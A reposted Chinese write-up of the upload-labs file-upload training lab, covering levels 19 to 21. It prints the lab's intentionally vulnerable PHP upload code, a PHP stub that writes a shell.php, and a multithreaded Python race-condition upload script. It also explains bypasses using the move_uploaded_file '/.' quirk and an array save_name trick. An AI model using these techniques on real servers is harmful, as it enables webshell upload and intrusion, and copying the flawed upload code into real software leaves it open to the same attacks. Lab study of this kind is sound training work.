可以看到,虽然对文件名进行了白名单限制,但是该代码是先上传,后检查的;因此在上传和删除之间存在一个时间差,导致条件竞争。

  1. <?php
  2. $is_upload = false;
  3. $msg = null;
  4. if(isset($_POST['submit'])){
  5. $ext_arr = array('jpg','png','gif');
  6. $file_name = $_FILES['upload_file']['name'];
  7. $temp_file = $_FILES['upload_file']['tmp_name'];
  8. $file_ext = substr($file_name,strrpos($file_name,".")+1);
  9. $upload_file = UPLOAD_PATH . '/' . $file_name;
  10. if(move_uploaded_file($temp_file, $upload_file)){ //上传
  11. if(in_array($file_ext,$ext_arr)){ //检查
  12. $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
  13. rename($upload_file, $img_path);
  14. $is_upload = true;
  15. }else{
  16. $msg = "只允许上传.jpg|.png|.gif类型文件!";
  17. unlink($upload_file);
  18. }
  19. }else{
  20. $msg = '上传出错!';
  21. }
  22. }
  23. ?>

我们可以先上传一个文件内容如下的php文件,文件名为N.php

代码的作用是创建一个php文件;内容可以自己改

  1. <?php
  2. $f=fopen("shell.php","w");
  3. fputs($f,'<?php phpinfo(); ?>');
  4. ?>

上传之后抓包,然后空值无限爆破发包

upload-labs笔记(转载) - 图16

然后访问N.php,抓包,同样空值爆破。直到有200的返回包,此时会在上传目录下生成一个shell.php文件。

upload-labs笔记(转载) - 图17

此时访问shell.php,可以发现成功了。

upload-labs笔记(转载) - 图18

Pass-19 条件竞争

这一关,我们对upload函数分析可以发现,文件是先上传,然后才重命名,因此存在条件竞争漏洞,而且如果对其多次快速提交可能会来不及重命名;但是在上传前对文件的内容和后缀进行了严格的限制,但是我们发现它在白名单里有个7z

  1. <?php
  2. //index.php
  3. $is_upload = false;
  4. $msg = null;
  5. if (isset($_POST['submit']))
  6. {
  7. require_once("./myupload.php");
  8. $imgFileName =time();//新名字
  9. $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
  10. $status_code = $u->upload(UPLOAD_PATH);
  11. switch ($status_code) {
  12. case 1:
  13. $is_upload = true;
  14. $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
  15. break;
  16. case 2:
  17. $msg = '文件已经被上传,但没有重命名。';
  18. break;
  19. case -1:
  20. $msg = '这个文件不能上传到服务器的临时文件存储目录。';
  21. break;
  22. case -2:
  23. $msg = '上传失败,上传目录不可写。';
  24. break;
  25. case -3:
  26. $msg = '上传失败,无法上传该类型文件。';
  27. break;
  28. case -4:
  29. $msg = '上传失败,上传的文件过大。';
  30. break;
  31. case -5:
  32. $msg = '上传失败,服务器已经存在相同名称文件。';
  33. break;
  34. case -6:
  35. $msg = '文件无法上传,文件不能复制到目标目录。';
  36. break;
  37. default:
  38. $msg = '未知错误!';
  39. break;
  40. }
  41. }
  42. ?>
  43. <?php
  44. // MyUpload.php
  45. class MyUpload{
  46. var $cls_upload_dir = ""; // Directory to upload to.上传目录
  47. var $cls_filename = ""; // Name of the upload file.上传文件名
  48. var $cls_tmp_filename = ""; // TMP file Name (tmp name by php).临时文件名
  49. var $cls_max_filesize = 33554432; // Max file size.允许文件最大的大小
  50. var $cls_filesize =""; // Actual file size.上传文件的大小
  51. var $cls_arr_ext_accepted = array(//白名单
  52. ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
  53. ".html", ".xml", ".tiff", ".jpeg", ".png" );
  54. var $cls_file_exists = 0; // Set to 1 to check if file exist before upload.
  55. var $cls_rename_file = 1; // Set to 1 to rename file after upload.
  56. var $cls_file_rename_to = ''; // New name for the file after upload.
  57. var $cls_verbal = 0; // Set to 1 to return an a string instead of an error code.
  58. function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
  59. $this->cls_filename = $file_name;
  60. $this->cls_tmp_filename = $tmp_file_name;
  61. $this->cls_filesize = $file_size;
  62. $this->cls_file_rename_to = $file_rename_to;
  63. }
  64. function isUploadedFile(){//是否上传了文件
  65. if( is_uploaded_file( $this->cls_tmp_filename ) != true ){
  66. return "IS_UPLOADED_FILE_FAILURE";
  67. } else {
  68. return 1;
  69. }
  70. }
  71. function setDir( $dir ){//设置上传目录
  72. if( !is_writable( $dir ) ){
  73. return "DIRECTORY_FAILURE";
  74. } else {
  75. $this->cls_upload_dir = $dir;
  76. return 1;
  77. }
  78. }
  79. function checkExtension(){//检查文件类型
  80. // Check if the extension is valid
  81. if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
  82. return "EXTENSION_FAILURE";
  83. } else {
  84. return 1;
  85. }
  86. }
  87. function checkSize(){//检查文件大小
  88. if( $this->cls_filesize > $this->cls_max_filesize ){
  89. return "FILE_SIZE_FAILURE";
  90. } else {
  91. return 1;
  92. }
  93. }
  94. function move(){//上传
  95. if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
  96. return "MOVE_UPLOADED_FILE_FAILURE";
  97. } else {
  98. return 1;
  99. }
  100. }
  101. function checkFileExists(){//文件是否存在
  102. if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
  103. return "FILE_EXISTS_FAILURE";
  104. } else {
  105. return 1;
  106. }
  107. }
  108. function renameFile(){//重命名
  109. // if no new name was provided, we use
  110. if( $this->cls_file_rename_to == '' ){
  111. $allchar = "abcdefghijklnmopqrstuvwxyz" ;
  112. $this->cls_file_rename_to = "" ;
  113. mt_srand (( double) microtime() * 1000000 );
  114. for ( $i = 0; $i<8 ; $i++ ){
  115. $this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ;
  116. }
  117. }
  118. // Remove the extension and put it back on the new file name
  119. $extension = strrchr( $this->cls_filename, "." );
  120. $this->cls_file_rename_to .= $extension;
  121. if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
  122. return "RENAME_FAILURE";
  123. } else {
  124. return 1;
  125. }
  126. }
  127. function upload( $dir ){//上传
  128. $ret = $this->isUploadedFile();//是否已经上传
  129. if( $ret != 1 ){
  130. return $this->resultUpload( $ret );
  131. }
  132. $ret = $this->setDir( $dir );//是否设置了上传目录
  133. if( $ret != 1 ){
  134. return $this->resultUpload( $ret );
  135. }
  136. $ret = $this->checkExtension();//检查类型
  137. if( $ret != 1 ){
  138. return $this->resultUpload( $ret );
  139. }
  140. $ret = $this->checkSize();//检查大小
  141. if( $ret != 1 ){
  142. return $this->resultUpload( $ret );
  143. }
  144. // if flag to check if the file exists is set to 1
  145. if( $this->cls_file_exists == 1 ){
  146. $ret = $this->checkFileExists();//检查文件是否存在
  147. if( $ret != 1 ){
  148. return $this->resultUpload( $ret );
  149. }
  150. }
  151. // if we are here, we are ready to move the file to destination
  152. $ret = $this->move();//拼接移动
  153. if( $ret != 1 ){
  154. return $this->resultUpload( $ret );
  155. }
  156. // check if we need to rename the file
  157. if( $this->cls_rename_file == 1 ){
  158. $ret = $this->renameFile();//重命名
  159. if( $ret != 1 ){
  160. return $this->resultUpload( $ret ); //失败则返回FALSE
  161. }
  162. }
  163. // if we are here, everything worked as planned :)
  164. return $this->resultUpload( "SUCCESS" );
  165. }
  166. function resultUpload( $flag ){
  167. switch( $flag ){
  168. case "IS_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -1; else return "The file could not be uploaded to the tmp directory of the web server.";
  169. break;
  170. case "DIRECTORY_FAILURE" : if( $this->cls_verbal == 0 ) return -2; else return "The file could not be uploaded, the directory is not writable.";
  171. break;
  172. case "EXTENSION_FAILURE" : if( $this->cls_verbal == 0 ) return -3; else return "The file could not be uploaded, this type of file is not accepted.";
  173. break;
  174. case "FILE_SIZE_FAILURE" : if( $this->cls_verbal == 0 ) return -4; else return "The file could not be uploaded, this file is too big.";
  175. break;
  176. case "FILE_EXISTS_FAILURE" : if( $this->cls_verbal == 0 ) return -5; else return "The file could not be uploaded, a file with the same name already exists.";
  177. break;
  178. case "MOVE_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -6; else return "The file could not be uploaded, the file could not be copied to destination directory.";
  179. break;
  180. case "RENAME_FAILURE" : if( $this->cls_verbal == 0 ) return 2; else return "The file was uploaded but could not be renamed.";
  181. break;
  182. case "SUCCESS" : if( $this->cls_verbal == 0 ) return 1; else return "Upload was successful!";
  183. break;
  184. default : echo "OUPS!! We do not know what happen, you should fire the programmer ;)";
  185. break;
  186. }
  187. }
  188. }; // end class

所以根据Apeach的一个特性—-会从右到左识别后缀名,直到有它认识的,然后去按照可识别的后缀类型解析;我们可以利用条件竞争漏洞以及这个解析特性去绕过。此处不用上一关的方法去利用条件竞争漏洞,换一种方法用脚本去处理。(好像低估了它的重命名速度,我没有成功)

  1. # -*- coding: utf-8 -*-
  2. """
  3. Created on Thu Jan 7 13:26:05 2021
  4. @author: Ni4n
  5. """
  6. import hackhttp
  7. from multiprocessing.dummy import Pool as ThreadPool
  8. def upload(lists):
  9. hh=hackhttp.hackhttp()
  10. raw='''POST /Pass-19/index.php HTTP/1.1
  11. Host: 6844f964a83b464f8906dd95ee3d8218.app.mituan.zone
  12. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
  13. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  14. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  15. Accept-Encoding: gzip, deflate
  16. Content-Type: multipart/form-data; boundary=---------------------------10548979471069620054260847876
  17. Content-Length: 375
  18. Origin: http://6844f964a83b464f8906dd95ee3d8218.app.mituan.zone
  19. Connection: close
  20. Referer: http://6844f964a83b464f8906dd95ee3d8218.app.mituan.zone/Pass-19/index.php
  21. Upgrade-Insecure-Requests: 1
  22. -----------------------------10548979471069620054260847876
  23. Content-Disposition: form-data; name="upload_file"; filename="N.php.7z"
  24. Content-Type: application/octet-stream
  25. <?php phpinfo(); ?>
  26. -----------------------------10548979471069620054260847876
  27. Content-Disposition: form-data; name="submit"
  28. 上传
  29. -----------------------------10548979471069620054260847876--
  30. '''
  31. code, head, html, redirect, log = hh.http('http://6844f964a83b464f8906dd95ee3d8218.app.mituan.zone/Pass-19/index.php', raw=raw)
  32. print(str(code) + "\r")
  33. pool = ThreadPool(50)
  34. pool.map(upload, range(10000)) #从进程池中取出一个进程执行func,args为func的参数
  35. pool.close() # 进程池不再创建新的进程
  36. pool.join() #wait进程池中的全部进程

hackhttp

hackhttp 模块致力于帮助安全测试人员快速编写代码,除众多基础功能外,hackhttp 支持直接发送 HTTP 原始报文,开发者可以直接将浏览器或者 Burp Suite 等抓包工具中截获的 HTTP 报文复制后,无需修改报文,可直接使用 hackhttp 进行重放,不过只支持python2。

具体使用参考项目地址

Pass-20 move_uploaded_file缺陷

首先我们可以看到save_name,即文件的最终名称是通过POST传递向后端的,所以我们依然可以用%00截断;但此处要说下另一种方式。

  1. move_uploaded_file`有个缺陷,即当`$img_path` 可控,会忽略掉`$img_path` 后面的`/.
  2. <?php
  3. $is_upload = false;
  4. $msg = null;
  5. if (isset($_POST['submit'])) {
  6. if (file_exists(UPLOAD_PATH)) {//黑名单
  7. $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
  8. $file_name = $_POST['save_name'];//可控
  9. $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);//文件路径
  10. if(!in_array($file_ext,$deny_ext)) {//检查指定的文件名是否合法
  11. $temp_file = $_FILES['upload_file']['tmp_name'];
  12. $img_path = UPLOAD_PATH . '/' .$file_name;
  13. if (move_uploaded_file($temp_file, $img_path)) { //移动到upload目录,并以指定名称命名
  14. $is_upload = true;
  15. }else{
  16. $msg = '上传出错!';
  17. }
  18. }else{
  19. $msg = '禁止保存为该类型文件!';
  20. }
  21. } else {
  22. $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  23. }
  24. }
  25. ?>

所以我们上传一个N.jpg,然后抓包,做出如下修改,然后他最终就会保存成N.php

upload-labs笔记(转载) - 图19

访问成功

upload-labs笔记(转载) - 图20

Pass-21 数组判断绕过

首先,它的save_name依然可控,然后我们发现,其会将文件名打成数组,然后判断最后的后缀名,如果合法才能上传,并用合法的名称拼接命名。

  1. <?php
  2. if (isset($_POST['submit'])) {
  3. if (file_exists(UPLOAD_PATH)) {
  4. $is_upload = false;
  5. $msg = null;
  6. if(!empty($_FILES['upload_file'])){
  7. //mime check
  8. $allow_type = array('image/jpeg','image/png','image/gif');//白名单
  9. if(!in_array($_FILES['upload_file']['type'],$allow_type)){
  10. $msg = "禁止上传该类型文件!";
  11. }else{
  12. //check filename
  13. //检查指定的文件名是否为空,如果为空$file=原始名字,不为空则为合法的指定文件名
  14. $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
  15. if (!is_array($file)) {//判断名字是否为数组
  16. $file = explode('.', strtolower($file));//不是就打成数组
  17. }
  18. $ext = end($file);//文件最后一个后缀名
  19. $allow_suffix = array('jpg','png','gif');
  20. if (!in_array($ext, $allow_suffix)) {//不合法就禁止上传
  21. $msg = "禁止上传该后缀文件!";
  22. }else{
  23. //合法则以$file和后缀【元素个数-1】位元素拼接命名
  24. $file_name = reset($file) . '.' . $file[count($file) - 1];
  25. $temp_file = $_FILES['upload_file']['tmp_name'];
  26. $img_path = UPLOAD_PATH . '/' .$file_name;
  27. if (move_uploaded_file($temp_file, $img_path)) {
  28. $msg = "文件上传成功!";
  29. $is_upload = true;
  30. } else {
  31. $msg = "文件上传失败!";
  32. }
  33. }
  34. }
  35. }else{
  36. $msg = "请选择要上传的文件!";
  37. }
  38. } else {
  39. $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  40. }
  41. }
  42. ?>

在这里我们可以上传一个png文件,抓包,作出如下构造,使得数组最后一个元素合法,上传保存后成为php文件。

upload-labs笔记(转载) - 图21

可以分析一下为什么这么构造

  1. <?php
  2. $file = array();
  3. $file[0] = 'N.php/';
  4. $file[2] = 'jpg';
  5. print_r($file);
  6. echo "数组总元素个数为".count($file);
  7. ?>
  8. //结果:
  9. Array
  10. (
  11. [0] => N.php/
  12. [2] => jpg
  13. )
  14. 数组总元素个数为2
  15. //打印下$file[count($file) - 1]
  16. 其结果为空。

其最终$file_namesave_name[0]$file[count($file) - 1] 拼接而成,而根据上面的结果后者为空,所以最终的保存名字则为N.php/. 此处则又用到了上一关说到的函数缺陷。访问成功。

upload-labs笔记(转载) - 图22

同时也可以在构造时不在N.php 后面加斜杠,那么就需要访问N.php.

后记

纸上得来终觉浅,绝知此事要躬行!

参考链接

国光的文件上传靶场总结

upload-labs-writeup

upload-labs通关记录